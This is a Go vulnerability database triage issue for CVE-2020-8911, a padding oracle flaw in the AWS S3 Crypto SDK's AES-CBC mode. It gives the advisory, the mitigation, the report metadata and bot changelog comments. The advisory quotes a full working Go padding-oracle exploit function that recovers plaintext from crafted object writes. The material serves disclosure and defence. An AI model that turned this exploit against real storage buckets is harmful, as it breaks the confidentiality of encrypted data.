x/vulndb: potential Go vuln in github.com/aws/aws-sdk-go/service/s3/s3crypto: GHSA-f5pg-7wfw-84q9

[julieqiu]

In GitHub Security Advisory GHSA-f5pg-7wfw-84q9, there is a vulnerability in the following Go packages or modules:

Unit	Fixed	Vulnerable Ranges
github.com/aws/aws-sdk-go/service/s3/s3crypto	1.34.0	< 1.34.0

See doc/triage.md for instructions on how to triage this report.

packages:
  - package: github.com/aws/aws-sdk-go/service/s3/s3crypto
    versions:
      - fixed: 1.34.0
description: |-
    ### Summary

    The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.

    ### Risk/Severity

    The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.

    ### Impact

    This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.

    V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.

    This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.

    This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.

    ### Mitigation

    Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.

    ### Proof of concept

    A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.

    This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):

    ```golang
    func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
    	data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
    	if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
    		return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
    	}
    	length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
    	padding := byte(len(data) - length)
    	plaintext := make([]byte, length)
    	for i := length - 1; i >= 0; i-- {
    		newLength := 16 * (i/16 + 1)
    		dataCopy := make([]byte, newLength)
    		headerCopy := header.Clone()
    		copy(dataCopy, data)
    		// Set Padding
    		newPadding := byte(newLength - i)
    		for j := i + 1; j < newLength; j++ {
    			var oldValue byte
    			if j >= length {
    				oldValue = padding
    			} else {
    				oldValue = plaintext[j]
    			}
    			dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
    			if err != nil {
    				return "", err
    			}
    		}
    		// Guess
    		for c := 0; c < 256; c++ {
    			dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
    			input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
    			if input.Oracle(bucket, key+"guess") {
    				plaintext[i] = byte(c)
    				break
    			}
    			dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
    		}
    	}
    	return string(plaintext), nil
    }
    ```
published: 2022-02-11T23:26:26Z
last_modified: 2022-04-19T19:02:32Z
cves:
  - CVE-2020-8911
ghsas:
  - GHSA-f5pg-7wfw-84q9
links:
    context:
      - https://github.com/advisories/GHSA-f5pg-7wfw-84q9

[gopherbot]

Change https://go.dev/cl/423994 mentions this issue: data/reports: add GO-2022-0646.yaml for GHSA-f5pg-7wfw-84q9

[gopherbot]

Change https://go.dev/cl/427335 mentions this issue: data/reports: update GO-2022-0646 to more fully cover the vulnerability

[tatianab]

Review for appropriate use of alias vs related

[gopherbot]

Change https://go.dev/cl/629377 mentions this issue: data/reports: update GO-2022-0646

[gopherbot]

Change https://go.dev/cl/635736 mentions this issue: data/reports: add GO-2022-0635, review GO-2022-0646

[gopherbot]

Change https://go.dev/cl/635282 mentions this issue: data/reports: restore published version for GO-2022-0646